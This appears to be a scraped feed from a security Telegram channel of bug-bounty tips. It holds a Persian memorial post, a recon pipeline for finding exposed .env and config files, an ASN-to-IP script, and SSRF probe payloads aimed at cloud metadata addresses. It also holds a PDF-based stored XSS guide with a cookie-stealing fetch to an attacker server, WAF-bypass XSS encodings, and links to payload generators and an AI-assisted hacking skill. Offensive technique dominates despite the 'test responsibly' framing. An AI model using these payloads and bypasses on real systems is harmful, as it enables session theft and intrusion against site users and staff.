امروز چهلمِ جاوید نام‌هاییه که تو اعتراضات دی‌ماه، جونشون رو تو راه آزادی و کرامت انسانی از دست دادن.

روحشون شاد و یادشون گرامی 🤍🕊


Today marks the fortieth day since the tragic loss of the brave souls who sacrificed their lives during the protests in December, fighting for freedom and human dignity in Iran.

May their spirits rest in peace, and may we always remember their courage and sacrifice. 🤍🕊

For Iran 🕊

pass: 311138

README (en+ru) inside, plz read it before run BS.

Happy Hacking! 🥳

Run with Java 18 or Java 22 with JDK21+

❤ Share & Support Us

📰 @BackupLSO
📚 @LibrarySecOfficial

🔥 TIP: Automate Secret Hunting Like a Pro
Manual hunting is slow. Automation scales.

Instead of randomly browsing subdomains, pipe your recon properly:

subfinder -d target.com -silent | httpx -silent | gau | grep -Ei "\.env|config|backup"


What this really means is:

• subfinder → enumerate subdomains
• httpx → filter alive hosts
• gau → pull historical URLs
• grep → hunt for juicy patterns like .env, config, backup

You’re basically combining live assets + historical endpoints + pattern filtering in one clean chain.

This approach often reveals:

Exposed environment files
Backup endpoints
Forgotten config files
Hidden OpenID configurations
JS config leaks

Most hunters stop at subdomain enumeration. Smart hunters pivot into URL discovery and pattern extraction.

Automation doesn’t replace thinking. It multiplies it.

Test responsibly. Stay within scope. Move fast, think slow.

❤ Share & Support Us
🧩 #BugBounty
📰 @BackupLSO
📚 @LibrarySecOfficial

🔥 URILoot is a browser extension designed for Bug Bounty Hunters and Pentesters. Makes fetching uris easy from various sources.

https://github.com/rsingh0x/URILoot

❤ Share & Support Us

📰 @BackupLSO
📚 @LibrarySecOfficial

✎ ASN → IP Recon Workflow (BGPView alternative)

I used to rely on bgpview.io for extracting IP ranges from ASNs it was free and useful for recon workflows. But after it went down, I looked for an alternative and found this awesome repo:

• as-ip-blocks: Github

It lets you pull IPv4/IPv6 prefixes per ASN directly from raw GitHub data, which is ideal for automation.

</> Bash Function for ASN → IP Enumeration

You can plug this directly into your recon pipeline or customize it for your tools

asn2ip() {
  local base="https://raw.githubusercontent.com/ipverse/as-ip-blocks/master/as"

  fetch_asn() {
    curl -fsSL "$base/$1/aggregated.json" \
      | jq -r '.prefixes.ipv4[]?' 2>/dev/null \
      | sort -u
  }

  if [ ! -t 0 ]; then
    while IFS= read -r asn; do
      fetch_asn "$asn"
    done
  else
    fetch_asn "$1"
  fi
}

• Single ASN → IP Ranges

asn2ip 1234

• List of ASNs → IP Ranges

cat asnList | asn2ip

📰 @BackupLSO
📚 @LibrarySecOfficial

Sensitive Information Leak via api call
Severity: 9.1

From /api/contact an unauthenticated user can view all the private messages which only can show from Admin Panel.

tip:
always collect /api/ endpoints and try GET, POST etc methods.

if you guy’s really enjoy to read such methods, react ❤️

📰 @BackupLSO
📚 @LibrarySecOfficial

https://medium.com/p/ef4fbe28ceab

📰 @BackupLSO
📚 @LibrarySecOfficial

Hi everyone last week there was a wave of Telegram channel blocks in the OSINT community, and my second channel @osintgit was among those affected. Most channels have already been restored, but mine remains blocked. Please help forward the following message to Telegram support:

The @osintgit channel has been blocked. It contained links to articles, presentations from the author’s conference talks, and publicly available tools related to information security. The channel never published personal data or any other prohibited content. Please unblock this channel and remove the restrictions on.

Colleagues in the field have already managed to get the message through; with enough visibility we can do the same.

Please send the message to Telegram support bots:
@PressBot
@AmeliaTearheart
@BotSupport

Also use Telegram Support: Open Settings → “Ask a Question” → proceed to the question.

And email their official addresses:
dmca@telegram.org
security@telegram.org
recover@telegram.org
abuse@telegram.org
support@telegram.org

I would be grateful for reposts of this post it greatly increases the chances of getting the channel unblocked.

Bypassing WAFs with PDF-Based Stored XSS: A Field Guide for Bug Bounty Hunters - Part 1

This article explores how to bypass Web Application Firewalls (WAFs) using PDF-based Stored XSS for bug bounty hunters. The technique involves embedding hex-encoded JavaScript payloads inside PDF structures (like fonts or content streams) and uploading them to platforms that preview PDFs. Since WAFs typically scan for obvious XSS tags or keywords, the obfuscated payloads often slip through. The method can yield both Stored and Blind XSS, depending on the environment. The article includes real-world examples, such as the CVE-2024–4367 vulnerability in PDF.js, and outlines a practical workflow for identifying upload features, crafting malicious PDFs, and validating PoCs. Severity varies based on impact, ranging from low to high. Responsible testing and ethical reporting are emphasized.

The Core Idea
Many platforms preview uploaded PDFs directly in the browser using:
Mozilla PDF.js (Firefox default, Chrome extensions, and countless web apps)
Embedded iframe viewers
If the renderer has a parsing or font-handling bug, a malicious payload hidden in the PDF structure can execute JavaScript.
Instead of dropping obvious <script>alert(1)</script> garbage that every scanner catches, you:
۱. Take a normal JavaScript payload
Example:
alert(document.domain)
or
fetch('https://your-server.com/log?c=' + document.cookie)
۲. Encode the entire payload as ASCII hex
Example:
\x61\x6c\x65\x72\x74\x28\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x64\x6f\x6d\x61\x69\x6e\x29
۳. Embed it into a minimal but valid PDF structure
The payload gets placed inside:
A font object
A glyph stream
A malformed object reference
Or a parsing edge case in the content stream
4. Upload the PDF to any feature that stores and previews documents
Typical targets:
Profile attachments
Support ticket uploads
Resume portals
Invoice systems
File-sharing features
5. Wait for someone to open or preview it
If the renderer is vulnerable, your JavaScript executes in the viewer’s context.
Congratulations. You just turned a boring PDF upload into a Stored or Blind XSS vector.

📰 @BackupLSO
📚 @LibrarySecOfficial

Bypassing WAFs with PDF-Based Stored XSS: A Field Guide for Bug Bounty Hunters - Part 2

Why This Slips Past WAFs
Most file upload filters and WAFs look for:
<script> tags
Obvious HTML or JS keywords
Known payload signatures
A hex-encoded JavaScript payload buried inside a binary-ish PDF object looks like noise.
To a filter, it’s just bytes.
To a vulnerable PDF renderer, it’s executable logic.
This mismatch between security assumptions and parsing reality is what makes this technique durable.
Stored XSS vs Blind XSS
This method works in two useful modes.
Stored XSS
Your payload persists in the uploaded file.
Anyone who previews the file triggers execution.
Best for: Admin panel views , Internal support dashboards , Shared document portals
Blind XSS
Instead of alert(), your payload exfiltrates data.
Example behavior: Send cookies or tokens to your server, Log the victim’s URL, role, or IP, Fire a callback to confirm execution
This is perfect for:
Helpdesk uploads
Abuse report systems
Moderation queues
Anywhere staff quietly open files
Real-World Signals from the Community
This technique isn’t theorycrafting. It sits in the overlap between documented vulnerabilities and practical bug bounty findings.
1. PDF.js Execution Bugs
In 2024, Mozilla patched CVE-2024–4367, a vulnerability that allowed arbitrary JavaScript execution in PDF.js via a font-handling code path. Researchers demonstrated that malformed font objects could escape the intended sandbox and run attacker-controlled JS.
This class of bugs is exactly what makes PDF-based XSS viable.
Multiple private and public reports on HackerOne have flagged:
Stored XSS via file upload previews
PDF and SVG rendering quirks
JavaScript execution through third-party viewers
Even when not labeled “PDF XSS,” many reports follow the same pattern: unsafe rendering of attacker-supplied document formats.
3. Independent Researcher Techniques
Hunters like Orwa Godfather and others in the bug bounty community have shared payload patterns that:
Use hex-encoded JavaScript
Avoid standard HTML tags
Trigger execution during parsing or rendering
Bypass basic content scanners
These payloads have been quietly reused and adapted across programs with surprising success.

📰 @BackupLSO
📚 @LibrarySecOfficial

Tip: Finding Potential SSRF Endpoints During Recon

SSRF often hides in plain sight. Many applications accept URLs or file paths as parameters, and those become prime targets.

A simple trick during recon is mining historical URLs and filtering parameters that typically fetch remote resources.

Example workflow:

echo "target.com" | waybackurls | grep -E "url=|uri=|path=|dest=|redirect=|window=|next=|target=|file=|html=|data=|reference="

What this does:

• Pulls archived endpoints from Wayback Machine
• Filters parameters commonly used for external requests
• Helps you quickly identify SSRF-like parameters

You will often find endpoints like:

/showimage.php?file=
/redirect?url=
/api/fetch?uri=
/download?path=

Once you find them, start testing with payloads such as:

http://127.0.0.1
http://169.254.169.254
http://burp-collaborator

If the server makes the request on your behalf, you might have an SSRF.

Small recon tricks like this save hours of manual hunting.

❤ Share & Support Us

📰 @BackupLSO
📚 @LibrarySecOfficial

Claude Bug Bounty Hunter - Claude Code skill for AI-assisted bug bounty hunting - recon, IDOR, XSS, SSRF, OAuth, GraphQL, LLM injection, and report generation

https://github.com/shuvonsec/claude-bug-bounty

❤ Share & Support Us

📰 @BackupLSO
📚 @LibrarySecOfficial

📖 Advanced SQL Injection Techniques

❤ Share & Support Us
🧩 #injection
📰 @BackupLSO
📚 @LibrarySecOfficial

02 : THE MASTER PORT REFERENCE
Top 100 Ports Every Attacker Must Know

https://x.com/i/status/2070621710693364089

🔥 XSS Tip: Unicode Normalization

Don't give up if <, >, " or ' are filtered ! Many apps normalize Unicode after the WAF/security layer.

Some bypass variants (URL-encoded):
🔹 < ➔ %EF%BC%9C
🔹 > ➔ %EF%BC%9E
🔹 " ➔ %EF%BC%A2
🔹 ' ➔ %EF%BC%87
🔹 ` ➔ %EF%BD%80

For example, inject %EF%BC%9Cscript%EF%BC%9E and check if it reflects as <script> in the DOM.

Automate these quirks with recollapse :  https://github.com/0xacb/recollapse

❤ Share & Support Us
🧩 #xss
📰 @BackupLSO
📚 @LibrarySecOfficial

🔥Private Messages Leaks via api endpoint💀

tip:

> if your target using any open source projects, then collect all /api routes from github.

> use ffuf, burp, gf (do recon as much possible) it can uncovered information leak bugs.



if you guy’s want to know more info leak bugs methods, let me know…

❤ Share & Support Us

📰 @BackupLSO
📚 @LibrarySecOfficial

🔥 XSSnow — Advanced XSS Payload Generator & Testing Platform
⚔️ Dynamic XSS Payload Generation for Web Security Testing

📌 GitHub Repository
👉 https://github.com/dr34mhacks/xssnow

📌 Live Payload Platform
👉 https://xssnow.in/payloads.html


❤ Share & Support Us

📰 @BackupLSO
📚 @LibrarySecOfficial